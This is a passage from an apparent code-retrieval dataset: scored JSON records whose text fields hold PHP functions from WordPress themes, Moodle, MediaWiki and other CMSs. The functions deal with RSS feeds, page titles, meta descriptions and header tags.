$itemResult['description'] ); ?>]]></description>\n\t<?php } ?>\n\t<?php if ( !empty( $itemResult['content_encoded'] ) ) { ?>\n\t\t<content:encoded><![CDATA[<?php echo stripslashes( $itemResult['content_encoded'] ); ?>]]></content:encoded>\n\t<?php } ?>\n\t</item>\n\t<?php\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t?>\n\t</channel>\n\t</rss><?php\n\t\t\t\t\tob_end_flush;\n\t\t\t\t\texit;\n\t\t\t\t} else {\n\t\t\t\t\tob_end_flush;\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "4dc5e5c2f819c324b98e7042204e6447", "score": "0.61248255", "text": "function ode_head_title_description() {\n\n\t$title = get_bloginfo( 'name' ) . ' | ' . get_bloginfo( 'description' );\n\t$description = get_bloginfo( 'description' );\n\tif ( is_single() ) {\n\t\tglobal $post;\n\t\t$title = $post->post_title;\n\t\tif ( !empty( $post->post_excerpt ) )\n\t\t\t$description = strip_tags( $post->post_excerpt );\n\t\telse\n\t\t\t$description = substr( strip_tags( $post->post_content ), 0, 255 ) . '...';\n\t} else if ( is_tax() ) {\n\t\t$title = single_term_title( false, false ) . ' | ' . get_bloginfo('name');\n\t}\n\techo '<title>' . $title . '</title>' . \"\\n\";\n\techo '<meta name=\"description\" content=\"' . $description . '\" />' . \"\\n\";\n\n}", "title": "" }, { "docid": "0bcddf7ded1a662458d188f82acc1e34", "score": "0.60310715", "text": "function the_title_rss() {\n\techo get_the_title_rss();\n}", "title": "" }, { "docid": "3d1c6aed382ae41396f864f255c9be5a", "score": "0.60078037", "text": "public static function _desc() { return 'Creates an RSS feed'; }", "title": "" }, { "docid": "e1b136dd6d6c18479f7755a4940810b2", "score": "0.5986597", "text": "function ccrovermusic_customize_partial_blogdescription() {\n\tbloginfo( 'description' );\n}", "title": "" }, { "docid": "b1baf6efd70536a1e0f0f75f43f0965a", "score": "0.59437513", "text": "function ay_description() {\r\n\tglobal $wp_query, $post;\r\n\tif((is_single() || is_page()) && !is_front_page()) {\r\n\t\tsetup_postdata($post);\r\n\t\t$description = get_the_excerpt();\r\n\t\tif(!$description) $description = trim(strip_tags(get_bloginfo('description')));\r\n\t} elseif(is_category()) {\r\n\t\t$category = $wp_query->get_queried_object();\r\n\t\t$description = trim(strip_tags($category->category_description));\r\n\t\tif(!$description) $description = trim(strip_tags(get_bloginfo('description')));\t\t\r\n\t} else {\r\n\t\t$description = trim(strip_tags(get_bloginfo('description')));\r\n\t}\r\n\r\n\tif($description) {\r\n\t\treturn $description;\r\n\t}\r\n}", "title": "" }, { "docid": "4155afa4d4ed963b3595c0252a355f0e", "score": "0.5935036", "text": "function mediaconsult_customize_partial_blogdescription() {\n\tbloginfo( 'description' );\n}", "title": "" }, { "docid": "0261c0b7f3eff86e747fbbd1d6c37e00", "score": "0.59307945", "text": "function corpo_rss_title($title) {\r\n $ft = str_replace(' | ','',$title);\r\n return str_replace(get_bloginfo('name'),'',$ft);\r\n}", "title": "" }, { "docid": "5994c797f1e6cde132fd06d3ee8bdf6f", "score": "0.59098035", "text": "public function add_rss_feed_tag() {\n\t\techo '<link rel=\"alternate\" type=\"application/rss+xml\" title=\"' . get_bloginfo( 'name' ) . ' Feed\" href=\"' . get_bloginfo( 'rss2_url' ) . '\">' . \"\\n\";\n\t}", "title": "" }, { "docid": "a5a1d46d125fef26c9c5666c4b961c54", "score": "0.5909488", "text": "function lookshop_customize_partial_blogdescription() {\n\tbloginfo( 'description' );\n}", "title": "" }, { "docid": "da849e9cdf42f6f72ad4b865f334615c", "score": "0.59030545", "text": "function rd_rss_change_title()\n\t\t\t{\n\t\t\t\t$title = get_wp_title_rss();\n\t\t\t\tif(strpos($title, \"Aside\"))\n\t\t\t\t\t{\n\t\t\t\t\t\t$new_title = str_replace(\"Aside\", \"Thoughts\", $title);\n\t\t\t\t\t\techo $new_title;\n\t\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\techo get_wp_title_rss();\n\t\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "5bfa7ab9feca83eaf45b91757e7a9aaa", "score": "0.58971274", "text": "function my_custom_rss_render() {\n add_feed( 'marko', 'myRssFeed' ); \n}", "title": "" }, { "docid": "18c49cc5437934c1b0c11497a8225f51", "score": "0.58462554", "text": "function header_meta() {\n\t$humans = '<link type=\"text/plain\" rel=\"author\" href=\"' . ADVINCS__TEMPLATE_URL . '/humans.txt\" />';\n\n\techo apply_filters( 'advincs__humans', $humans );\n}", "title": "" }, { "docid": "cc58f0d335f93aab7f991a87bcdfe18e", "score": "0.58434457", "text": "function custom_docu_after_term_description( $term ) {\n\n $term_id = $term->term_id;\n\n $args = array(\n 'post_type' => 'doc',\n 'post_status' => 'publish',\n 'tax_query' => array(\n array(\n 'taxonomy' => 'doc_category',\n 'field' => 'id',\n 'terms' => array( $term_id )\n )\n ),\n 'orderby' => 'menu_order',\n 'order' => 'asc'\n );\n\n $the_query = new WP_Query( $args );\n\n if ( $the_query->have_posts() ) { ?>\n\n <ul class=\"docu-nav-list\">\n <?php while ( $the_query->have_posts() ) {\n $the_query->the_post(); ?>\n\n <li><a href=\"<?php the_permalink();?>\"><?php the_title();?></a></li>\n\n <?php } ?>\n </ul>\n \n <?php } \n\n wp_reset_postdata();\n\n}", "title": "" }, { "docid": "114eeed8794128ef69dd6c0bd5271592", "score": "0.5842096", "text": "public function action_rss2_item() {\n\n\t\t$authors = get_coauthors();\n\t\tif ( count( $authors ) <= 1 ) {\n\t\t\treturn;\n\t\t}\n\t\t// Discard the first as it's already been added\n\t\tarray_shift( $authors );\n\t\tforeach ( $authors as $author ) {\n\t\t\techo '<dc:creator><![CDATA[' . esc_html( $author->display_name ) . ']]></dc:creator>';\n\t\t}\n\n\t}", "title": "" }, { "docid": "0ada7b5fa2afc674cf6415f1ed075857", "score": "0.5839093", "text": "function assignment_test_customize_partial_blogdescription() {\n\tbloginfo( 'description' );\n}", "title": "" }, { "docid": "c95386e7dd1269fccf1359635c2ae4ae", "score": "0.58341837", "text": "public function customize_partial_blog_description() {\n\t\tbloginfo( 'description' );\n\t}", "title": "" }, { "docid": "3d83cb38db2c9b8c82f2877266041a69", "score": "0.58313966", "text": "function ra_add_author_filter() {\n\tadd_filter( 'author_link', 'ra_bp_filter_author' );\n}", "title": "" }, { "docid": "1102531b2cd45ed6c4d0dbfd7c8014e1", "score": "0.58292377", "text": "function rss_standard_footer($title = NULL, $link = NULL, $description = NULL) {\n\n global $CFG, $USER;\n\n $status = true;\n $result = \"\";\n\n //Close the chanel\n $result .= rss_end_tag(\"channel\",1,true);\n ////Close the rss tag\n $result .= \"</rss>\";\n\n return $result;\n}", "title": "" }, { "docid": "f28a8ea02115c4acf6c3b90512c6db1c", "score": "0.5795123", "text": "function writers_blogily_customize_partial_blogdescription() {\n\tbloginfo( 'description' );\n}", "title": "" }, { "docid": "76e8dd72e89bc921f7fb7f7669f16a29", "score": "0.57838047", "text": "function site_description() {\n\t$tag = ( is_front_page() ) ? 'h2' : 'div';\n\n\tif ( $desc = get_bloginfo( 'description' ) )\n\t\t$desc = \"\\n\\t\\t\\t\" . '<' . $tag . ' id=\"site-description\"><span>' . $desc . '</span></' . $tag . '>' . \"\\n\";\n\n\techo apply_atomic( 'site_description', $desc );\n}", "title": "" }, { "docid": "96a30464c6ce5735fb9091074e5731ca", "score": "0.577974", "text": "function blossom_recipe_customize_partial_blogdescription() {\r\n\tbloginfo( 'description' );\r\n}", "title": "" }, { "docid": "3391feca995cc48c1be17919622ffd76", "score": "0.57674265", "text": "function colormag_customize_partial_blogdescription() {\n\tbloginfo( 'description' );\n}", "title": "" }, { "docid": "7191c4a99bd809f0d447bc50ab763691", "score": "0.5767162", "text": "function mytheme_customize_partial_blogdescription() {\n\tbloginfo( 'description' );\n}", "title": "" }, { "docid": "6fc230cf2593ef5355f6b3f578f50e91", "score": "0.5765648", "text": "function head_meta_desc() {\n global $s, $post;\n $description = '';\n $blog_name = get_bloginfo('name');\n if ( is_singular() ) {\n if( !empty( $post->post_excerpt ) ) {\n $text = $post->post_excerpt;\n } else {\n $text = $post->post_content;\n }\n $description = trim( str_replace( array( \"\\r\\n\", \"\\r\", \"\\n\", \" \", \" \"), \" \", str_replace( \"\\\"\", \"'\", strip_tags( $text ) ) ) );\n if ( !( $description ) ) $description = $blog_name . \" - \" . trim( wp_title('', false) );\n } elseif ( is_home () ) { $description = $blog_name . \" - \" . get_bloginfo('description') . \" 關注 WordPress\"; // 首頁要自己加\n } elseif ( is_tag() ) { $description = $blog_name . \"有關 '\" . single_tag_title('', false) . \"' 的文章\";\n } elseif ( is_category() ) { $description = $blog_name . \"有關 '\" . single_cat_title('', false) . \"' 的文章\";\n } elseif ( is_archive() ) { $description = $blog_name . \"在: '\" . trim( wp_title('', false) ) . \"' 的文章\";\n } elseif ( is_search() ) { $description = $blog_name . \": '\" . esc_html( $s, 1 ) . \"' 的搜索結果\";\n } else { $description = $blog_name . \"有關 '\" . trim( wp_title('', false) ) . \"' 的文章\";\n }\n $description = mb_substr( $description, 0, 97, 'utf-8' ) . '..';\n echo \"<meta name=\\\"description\\\" content=\\\"$description\\\" />\\n\";\n}", "title": "" }, { "docid": "90d042c19a688e73ca5fc6a3ac97416a", "score": "0.5758134", "text": "function my_customize_partial_blogdescription() {\n\tbloginfo( 'description' );\n}", "title": "" }, { "docid": "0ea610b7a75687e4a90d7f45cc4c10fe", "score": "0.57573605", "text": "public function action_wp_head_meta_tags() {\n\n\t\tif ( is_singular() ) {\n\t\t\t$post = \\CST\\Objects\\Post::get_by_post_id( get_queried_object_id() );\n\t\t\t$meta_description = $post->get_seo_description();\n\t\t\t$people = $post->get_people() ? $post->get_people() : array();\n\t\t\t$locations = $post->get_locations() ? $post->get_locations() : array();\n\t\t\t$topics = $post->get_topics() ? $post->get_topics() : array();\n\t\t\t$combined_taxonomies = array_merge( $topics, $locations, $people );\n\t\t\tif ( $combined_taxonomies ) {\n\t\t\t\techo '<meta name=\"news_keywords\" content=\"' . esc_attr( join( ', ', wp_list_pluck( $combined_taxonomies, 'name' ) ) ) . '\" />' . esc_attr( PHP_EOL );\n\t\t\t}\n\t\t} elseif ( is_tax() && $description = get_queried_object()->description ) {\n\t\t\t$meta_description = $description;\n\t\t\t$term = get_queried_object();\n\t\t\t$seo = fm_get_term_meta( $term->term_id, 'cst_section', 'seo', true );\n\t\t\tif ( $seo ) {\n\t\t\t\techo '<meta name=\"keywords\" content=\"' . esc_attr( $seo['section_keywords'] ) . '\" />' . esc_attr( PHP_EOL );\n\t\t\t}\n\t\t\tif ( ! empty( $term ) ) {\n\t\t\t\t$term_link = wpcom_vip_get_term_link( $term, $term->taxonomy );\n\t\t\t\tif ( ! is_wp_error( $term_link ) ) {\n\t\t\t\t\techo '<link rel=\"canonical\" href=\"' . esc_url( $term_link, null, 'other' ) . '\" />' . \"\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t$meta_description = get_bloginfo( 'description' );\n\t\t}\n\n\t\t$facebook_tags = $this->get_facebook_open_graph_meta_tags();\n\t\t$twitter_tags = $this->get_twitter_card_meta_tags();\n\n\t\t$tags = array_merge( array( 'description' => $meta_description ), $facebook_tags, $twitter_tags );\n\t\tforeach ( $tags as $name => $value ) {\n\t\t\techo '<meta property=\"' . esc_attr( $name ) . '\" content=\"' . esc_attr( $value ) . '\" />' . esc_attr( PHP_EOL );\n\t\t}\n\n\t\techo '<meta name=\"description\" content=\"' . esc_attr( $meta_description ) . '\" />' . esc_attr( PHP_EOL );\n\n\t}", "title": "" }, { "docid": "3215429ba4c80f4f8ed674c7f6ce8734", "score": "0.57446647", "text": "function set_title($included, $custom)\n{\n global $completeTitle;\n\n // If this feed will display the title\n if($included == 1){\n // Only use the default if no custom text was specified\n if(strlen($custom) == 0){\n $completeTitle = \"Latest Blog Posts\";\n } else {\n $completeTitle = $custom;\n }\n\n // Not displaying a title\n } else {\n $completeTitle = \"\";\n }\n}", "title": "" }, { "docid": "44bcf57ae8df24bd8e4f41a63f7449ba", "score": "0.5736541", "text": "function twentynineteen_customize_partial_blogdescription() {\n bloginfo( 'description' );\n}", "title": "" }, { "docid": "4e9eb44acd9cd5fde3349f4c3be1937f", "score": "0.5735401", "text": "public function rss_settings_intro(): void {\n\t\t$this->output_intro( __( 'Remove feed links added by WordPress that aren\\'t needed for this site.', 'yoast-crawl-cleanup' ) );\n\t}", "title": "" }, { "docid": "40e285bd3e4933159f8d2da9c97d6036", "score": "0.572396", "text": "function twentyseventeen_customize_partial_blogdescription() {\n\tbloginfo( 'description' );\n}", "title": "" }, { "docid": "b6963eb9273f55c3fc89053fde3939bc", "score": "0.5714221", "text": "function header_meta() {\n /**\n * Filter the path used for the site's humans.txt attribution file\n *\n * @param string $humanstxt\n */\n $humanstxt = apply_filters( 'bb_humans', BB_TEMPLATE_URL . '/humans.txt' );\n\n echo '<link type=\"text/plain\" rel=\"author\" href=\"' . esc_url( $humanstxt ) . '\" />';\n}", "title": "" }, { "docid": "d4ecb4b174bbf242890eff9c1c90293d", "score": "0.57120526", "text": "function agriflex_filter_wp_title( $title, $separator ) {\n // Don't affect wp_title() calls in feeds.\n if ( is_feed() )\n return $title;\n\n // The $paged global variable contains the page number of a listing of posts.\n // The $page global variable contains the page number of a single post that is paged.\n // We'll display whichever one applies, if we're not looking at the first page.\n global $paged, $page;\n\n if ( is_search() ) {\n // If we're a search, let's start over:\n $title = sprintf( __( 'Search results for %s', 'agriflex' ), '\"' . get_search_query() . '\"' );\n // Add a page number if we're on page 2 or more:\n if ( $paged >= 2 )\n $title .= \" $separator \" . sprintf( __( 'Page %s', 'agriflex' ), $paged );\n // Add the site name to the end:\n $title .= \" $separator \" . get_bloginfo( 'name', 'display' );\n // We're done. Let's send the new title back to wp_title():\n return $title;\n }\n\n // Otherwise, let's start by adding the site name to the end:\n $title .= get_bloginfo( 'name', 'display' );\n\n // If we have a site description and we're on the home/front page, add the description:\n $site_description = get_bloginfo( 'description', 'display' );\n if ( $site_description && ( is_home() || is_front_page() ) )\n $title .= \" $separator \" . $site_description;\n\n // Add a page number if necessary:\n if ( $paged >= 2 || $page >= 2 )\n $title .= \" $separator \" . sprintf( __( 'Page %s', 'agriflex' ), max( $paged, $page ) );\n\n // Return the new title to wp_title():\n return $title;\n}", "title": "" }, { "docid": "22bd3d492b4f5e09246cba90a278fac9", "score": "0.56996363", "text": "function roots_wp_title($title) {\n if (is_feed()) {\n return $title;\n }\n\n $title .= get_bloginfo('name');\n\n return $title;\n}", "title": "" }, { "docid": "22bd3d492b4f5e09246cba90a278fac9", "score": "0.56996363", "text": "function roots_wp_title($title) {\n if (is_feed()) {\n return $title;\n }\n\n $title .= get_bloginfo('name');\n\n return $title;\n}", "title": "" }, { "docid": "22bd3d492b4f5e09246cba90a278fac9", "score": "0.56996363", "text": "function roots_wp_title($title) {\n if (is_feed()) {\n return $title;\n }\n\n $title .= get_bloginfo('name');\n\n return $title;\n}", "title": "" }, { "docid": "36adb547b5149590498b34081f8c5f2a", "score": "0.5692589", "text": "function sp_filter_wp_title( $title, $separator ) {\n\n\tif ( is_feed() ) return $title;\n\n\tglobal $paged, $page;\n\n\tif ( is_search() ) {\n\t\t$title = sprintf(__('Search results for %s', 'sptheme_admin'), '\"' . get_search_query() . '\"');\n\n\t\tif ( $paged >= 2 )\n\t\t\t$title .= \" $separator \" . sprintf(__('Page %s', 'sptheme_admin'), $paged);\n\n\t\t$title .= \" $separator \" . get_bloginfo('name', 'display');\n\n\t\treturn $title;\n\t}\n\n\t$title .= get_bloginfo('name', 'display');\n\t$site_description = get_bloginfo('description', 'display');\n\n\tif ( $site_description && ( is_home() || is_front_page() ) )\n\t\t$title .= \" $separator \" . $site_description;\n\n\tif ( $paged >= 2 || $page >= 2)\n\t\t$title .= \" $separator \" . sprintf(__('Page %s', 'sptheme_admin'), max($paged, $page) );\n\n\treturn $title;\n\n}", "title": "" }, { "docid": "e812c2e8e7d5509463f79f45bc11e846", "score": "0.56888294", "text": "function rss_standard_header($title = NULL, $link = NULL, $description = NULL) {\n\n global $CFG, $THEME, $USER;\n\n static $pixpath = '';\n\n $status = true;\n $result = \"\";\n\n if (!$site = get_site()) {\n $status = false;\n }\n\n if ($status) {\n\n //Calculate title, link and description\n if (empty($title)) {\n $title = $site->fullname;\n }\n if (empty($link)) {\n $link = $CFG->wwwroot;\n }\n if (empty($description)) {\n $description = $site->summary;\n }\n\n //xml headers\n $result .= \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\";\n $result .= \"<rss version=\\\"2.0\\\">\\n\";\n\n //open the channel\n $result .= rss_start_tag(\"channel\",1,true);\n\n //write channel info\n $result .= rss_full_tag(\"title\",2,false,$title);\n $result .= rss_full_tag(\"link\",2,false,$link);\n $result .= rss_full_tag(\"description\",2,false,$description);\n if (!empty($USER->lang)) {\n $result .= rss_full_tag(\"language\",2,false,substr($USER->lang,0,2));\n }\n $today = getdate();\n $result .= rss_full_tag(\"copyright\",2,false,\"&copy; \".$today['year'].\" \".$site->fullname);\n if (!empty($USER->email)) {\n $result .= rss_full_tag(\"managingEditor\",2,false,$USER->email);\n $result .= rss_full_tag(\"webMaster\",2,false,$USER->email);\n }\n\n //write image info\n //Calculate the origin\n if (empty($pixpath)) {\n if (empty($THEME->custompix)) {\n $pixpath = \"$CFG->wwwroot/pix\";\n } else {\n $pixpath = \"$CFG->wwwroot/theme/$CFG->theme/pix\";\n }\n }\n $rsspix = $pixpath.\"/i/rsssitelogo.gif\";\n\n //write the info\n $result .= rss_start_tag(\"image\",2,true);\n $result .= rss_full_tag(\"url\",3,false,$rsspix);\n $result .= rss_full_tag(\"title\",3,false,\"moodle\");\n $result .= rss_full_tag(\"link\",3,false,$CFG->wwwroot);\n $result .= rss_full_tag(\"width\",3,false,\"140\");\n $result .= rss_full_tag(\"height\",3,false,\"35\");\n $result .= rss_end_tag(\"image\",2,true);\n }\n\n if (!$status) {\n return false;\n } else {\n return $result;\n }\n}", "title": "" }, { "docid": "c6b8c1d9fb5cbad63e8eb9323851102d", "score": "0.5682302", "text": "function rss_add_items($items) {\n\n global $CFG;\n\n $result = \"\";\n\n if (!empty($items)) {\n foreach ($items as $item) {\n $result .= rss_start_tag(\"item\",2,true);\n $result .= rss_full_tag(\"title\",3,false,$item->title);\n $result .= rss_full_tag(\"link\",3,false,$item->link);\n $result .= rss_full_tag(\"pubDate\",3,false,date(\"r\",$item->pubdate));\n //Include the author if exists\n if (isset($item->author)) {\n $item->description = get_string(\"byname\",\"\",$item->author).\"<p>\".$item->description;\n }\n $result .= rss_full_tag(\"description\",3,false,$item->description);\n $result .= rss_end_tag(\"item\",2,true);\n\n }\n } else {\n $result = false;\n }\n return $result;\n}", "title": "" }, { "docid": "fb70f0389b1a4f3fe587c1deb241bd4d", "score": "0.5679071", "text": "function <%= appNameSlug %>_header_meta() {\n\t$humans = '<link type=\"text/plain\" rel=\"author\" href=\"' . get_template_directory_uri() . '/humans.txt\" />';\n\t\n\techo apply_filters( '<%= appNameSlug %>_humans', $humans );\n }", "title": "" }, { "docid": "b98e7042ab99b6b21b4441091f81d70b", "score": "0.5676695", "text": "function nilcus_init(){\n\tadd_filter('get_the_archive_title', 'nilcus_get_the_archive_title');\n}", "title": "" }, { "docid": "2415a2be236bb7489e43757f9be25e91", "score": "0.5669989", "text": "function prepend_rss_title( $title ) {\n\tif ( is_feed( FEED ) ) {\n\t\t$title = ucwords( FEED ) . ' &#8211; ' . $title;\n\t}\n\n\treturn $title;\n}", "title": "" }, { "docid": "583886cc134b0d80d285c11240b2acf3", "score": "0.5664764", "text": "function outHeader() {\n\t\tglobal $wgServer, $wgScriptPath, $wgEmergencyContact;\n\n\t\t$stuff = '';\n\t\t// This message is used by the ArticleMetaDescription extension\n\t\t$message = wfMessage( 'description' )->inContentLanguage();\n\t\tif ( !$message->isDisabled() ) {\n\t\t\t$stuff = '<description>' . $message->escaped() . \"</description>\\n\\t\\t\";\n\t\t}\n\n\t\t$this->outXmlHeader();\n?><rss version=\"2.0\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\" xmlns:feedburner=\"http://rssnamespace.org/feedburner/ext/1.0\">\n\t<channel>\n\t\t<title><?php echo wfMessage( 'linkfilter-feed-title' )->parse() ?></title>\n\t\t<link><?php echo $wgServer . $wgScriptPath ?></link>\n\t\t<?php echo $stuff ?><language><?php echo $this->getLanguage() ?></language>\n\t\t<pubDate><?php echo $this->formatTimeCustom( time() ) ?></pubDate>\n\t\t<managingEditor><?php echo $wgEmergencyContact ?></managingEditor>\n\t\t<webMaster><?php echo $wgEmergencyContact ?></webMaster>\n<?php\n\t}", "title": "" }, { "docid": "3e7769bc54c48359eb9ebdd166bc297d", "score": "0.5661403", "text": "function rubes_public_archive_description() { \n\t$catlist = get_terms( 'category' );\n\tif ( ! empty( $catlist ) ) {\n\t\tforeach ( $catlist as $key => $item ) {\n\t\t\tif ( $item->slug == 'public' ) return $item->description;\n\t\t}\n\t}\n\treturn;\n}", "title": "" }, { "docid": "99dc3b4d9e50d3dcd90b063211cc7333", "score": "0.5660321", "text": "function elgg_views_add_rss_link() {\n\tglobal $autofeed;\n\tif (isset($autofeed) && $autofeed == true) {\n\t\t$url = full_url();\n\t\tif (substr_count($url, '?')) {\n\t\t\t$url .= \"&view=rss\";\n\t\t} else {\n\t\t\t$url .= \"?view=rss\";\n\t\t}\n\n\t\t$url = elgg_format_url($url);\n\t\telgg_register_menu_item('extras', array(\n\t\t\t'name' => 'rss',\n\t\t\t'text' => elgg_view_icon('rss'),\n\t\t\t'href' => $url,\n\t\t\t'title' => elgg_echo('feed:rss'),\n\t\t));\n\t}\n}", "title": "" }, { "docid": "6ca6621e9a86c481a0dc7c5f31909842", "score": "0.5643819", "text": "function getPageHeaders()\r\n {\r\n \t\t//-------------------------------\r\n \t\t//\tInit\r\n \t\t//-------------------------------\r\n \t\t\r\n\t \t$out = \"\";\r\n\t \t\r\n\t \t//-------------------------------\r\n\t \t//\tRSS related\r\n\t \t//-------------------------------\r\n\t \t\r\n\t \tif ( count($this->rssFeeds) < 1 )\r\n\t \t{\r\n\t $this->pearRegistry->db->query(\"SELECT rss_export_id, rss_export_title FROM pear_rss_export WHERE rss_export_enabled = 1 ORDER BY rss_export_id\");\r\n\t \r\n\t \t \twhile ( ($feed = $this->pearRegistry->db->fetchRow()) !== FALSE )\r\n\t {\r\n\t \t\t$this->rssFeeds[] = $feed;\r\n\t }\r\n\t \t}\r\n\t \t\r\n\t \tforeach ( $this->rssFeeds as $feed )\r\n\t \t{\r\n\t \t\t$out .= '<link rel=\"alternate\" type=\"application/rss+xml\" title=\"' . addslashes($feed['rss_export_title']) . '\" href=\"' . $this->pearRegistry->absoluteUrl( 'load=rssexport&amp;rss_export_id=' . $feed['rss_export_id'] ) . '\" />' . \"\\n\";\r\n\t \t}\r\n\t \t\r\n\t \t//-------------------------------\r\n\t \t//\tComplete the meta tags array\r\n\t \t//-------------------------------\r\n\t \t\r\n \tif ( $this->pearRegistry->settings['allow_secure_sections_ssl'] )\r\n\t\t{\r\n\t \t\t$this->metaTags['identifier-url']\t\t=\t(! isset($this->metaTags['identifier-url']) ? rtrim(str_replace('http:/', 'https:/', $this->pearRegistry->baseUrl), '/') : $this->metaTags['identifier-url'] );\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$this->metaTags['identifier-url']\t\t=\t(! isset($this->metaTags['identifier-url']) ? rtrim($this->pearRegistry->baseUrl, '/') : $this->metaTags['identifier-url'] );\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t \tif ( is_array($this->metaTags['keywords']) )\r\n\t \t{\r\n\t \t\tarray_unshift($this->metaTags['keywords'], $this->pearRegistry->settings['site_name']);\r\n\t \t\t\r\n\t \t\tif (! empty($this->pearRegistry->settings['meta_data_keywords']) )\r\n\t \t\t{\r\n\t \t\t\t$this->metaTags['keywords']\t\t=\tarray_map($this->metaTags['keywords'], explode(',', $this->pearRegistry->settings['meta_data_keywords']));\r\n\t \t\t}\r\n\t \t\t\r\n\t \t\t$this->metaTags['keywords']\t\t\t=\timplode(',', $this->metaTags['keywords']);\r\n\t \t}\r\n\t \telse if ( is_string($this->metaTags['keywords']) )\r\n\t \t{\r\n\t \t\t$this->metaTags['keywords']\t\t\t=\ttrim($this->metaTags['keywords'], ', ') . ', ' . $this->pearRegistry->settings['site_name'] . ( ! empty($this->pearRegistry->settings['meta_data_keywords']) ? ', ' . trim($this->setting['meta_data_keywords'], ', ') : '' );\r\n\t \t}\r\n\t \telse\r\n\t \t{\r\n\t \t\t$this->metaTags['keywords']\t\t\t=\t$this->pearRegistry->settings['site_name'] . ( ! empty($this->pearRegistry->settings['meta_data_keywords']) ? ', ' . trim($this->setting['meta_data_keywords'], ', ') : '' );\r\n\t \t}\r\n\t \t\r\n\t $this->metaTags['description']\t\t\t=\t(! empty($this->metaTags['description']) ? $this->metaTags['description'] . ' - ' . $this->pearRegistry->settings['site_name'] : (! empty($this->pearRegistry->settings['meta_data_description']) ? $this->pearRegistry->settings['meta_data_description'] . ' - ' . $this->pearRegistry->settings['site_name'] : $this->pearRegistry->settings['site_name']));\r\n\t \t\r\n\t \t//-------------------------------\r\n\t \t//\tGenerator system (You are NOT allowed to modify/remove this line).\r\n\t \t//-------------------------------\r\n\t \t\r\n\t \t$this->metaTags['generator']\t\t\t=\t'PearCMS ' . $this->pearRegistry->version;\r\n\t \t\r\n\t \t//-------------------------------\r\n\t \t//\tOther meta tags\r\n\t \t//-------------------------------\r\n\t \t\r\n\t \t$otherTagsMap\t\t=\tarray(\r\n\t\t\t'og:url'\t\t\t\t=>\t$this->metaTags['identifier-url'],\r\n\t \t\t'og:title'\t\t\t=>\t$this->pageTitle,\r\n\t \t\t'og:site_name'\t\t=>\t$this->pearRegistry->settings['site_name'],\r\n\t \t\t'og:image'\t\t\t=>\t$this->imagesUrl . 'metaImage.png',\r\n\t \t\t'og:type'\t\t\t=>\t'article',\r\n\t \t\t'resource-type'\t\t=>\t'document',\r\n\t \t\t'distribution'\t\t=>\t'global',\r\n\t \t\t'copyright'\t\t\t=>\t( (gmdate('Y', $this->pearRegistry->config['system_installdate']) < date('Y')) ? sprintf('%d-%d %s', gmdate('Y', $this->pearRegistry->config['system_installdate']), date('Y'), $this->pearRegistry->settings['site_name']) : sprintf('%d %s', date('Y'), $this->pearRegistry->settings['site_name'])),\r\n\t \t);\r\n\t \t\r\n\t \tforeach ( $otherTagsMap as $key => $value )\r\n\t \t{\r\n\t \t\tif ( ! isset($this->metaTags[ $key ] ) )\r\n\t \t\t{\r\n\t \t\t\t$this->metaTags[ $key ] = $value;\r\n\t \t\t}\r\n\t \t}\r\n\t \t\r\n \t\t//-------------------------------\r\n \t\t//\tIterate and build...\r\n \t\t//-------------------------------\r\n \t\t\r\n\t \tforeach ($this->metaTags as $key => $value)\r\n\t \t{\r\n\t \t\tif ( empty($value) )\r\n\t \t\t{\r\n\t \t\t\tcontinue;\r\n\t \t\t}\r\n\t \t\t\r\n\t \t\t$out .= '<meta name=\"' . addslashes(trim($key)) . '\" content=\"' . addslashes(trim($value)) . '\" />' . \"\\n\";\r\n\t \t}\r\n\t \t\r\n\t \t//-------------------------------\r\n\t \t//\thttp-equiv tags\r\n\t \t//-------------------------------\r\n\r\n\t \t#\tContent-type\r\n\t \t$out .= '<meta http-equiv=\"content-type\" content=\"text/html; charset=' . strtoupper($this->pearRegistry->settings['site_charset']) . '\" />' . \"\\n\";\r\n\t \t\r\n\t \t#\tContent language\r\n\t \t$out .= '<meta http-equiv=\"content-language\" content=\"' . $this->pearRegistry->localization->selectedLanguage['language_key'] . '\" />' . \"\\n\";\r\n\t \t\r\n\t \t#\tStyle-sheets provider\r\n\t \t$out .= '<meta http-equiv=\"content-style-type\" content=\"text/css\" />' . \"\\n\";\r\n\t \t\r\n\t \t//-------------------------------\r\n\t \t//\tFavicon\r\n\t \t//-------------------------------\r\n\t \t\r\n\t \t#\tDefault\r\n\t \t$out .= '<link rel=\"icon\" href=\"' . $this->pearRegistry->baseUrl . 'favicon.ico\" />' . \"\\n\";\r\n\t \t\r\n\t \t#\tMicrosoft\r\n\t \t$out .= '<link rel=\"shortcut icon\" href=\"' . $this->pearRegistry->baseUrl . 'favicon.ico\" />' . \"\\n\";\r\n\t \t\r\n\t \t#\tApple touch (iOS)\r\n\t \t$out .= '<link rel=\"apple-touch-icon\" href=\"' . $this->pearRegistry->baseUrl . 'favicon.ico\" />' . \"\\n\";\r\n\t \t\r\n\t\t//-------------------------------\r\n\t\t//\tCSS files\r\n\t\t//-------------------------------\r\n\t\t\r\n\t \tforeach ( explode(',', trim($this->pearRegistry->cleanPermissionsString($this->selectedTheme['theme_css_files']))) as $cssFile )\r\n\t \t{\r\n\t \t\tif (! empty($cssFile) )\r\n\t \t\t{\r\n\t \t\t\t$this->addCSSFile( $this->pearRegistry->baseUrl . PEAR_THEMES_DIRECTORY . $this->selectedTheme['theme_key'] . '/StyleSheets/' . $cssFile, true );\r\n\t \t\t}\r\n\t \t}\r\n\t \t\r\n\t \tforeach ( $this->cssFiles as $cssFile)\r\n\t \t{\r\n\t \t\t$out .= '<link rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"' . $cssFile . '\" />';\r\n\t \t}\r\n\t \t\r\n\t \t//-------------------------------\r\n\t \t//\tRTL support\r\n\t \t//-------------------------------\r\n\t \t\r\n\t \tif ( $this->pearRegistry->localization->selectedLanguage['language_is_rtl'] )\r\n\t \t{\r\n\t \t\t$out .= '<link rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"' . 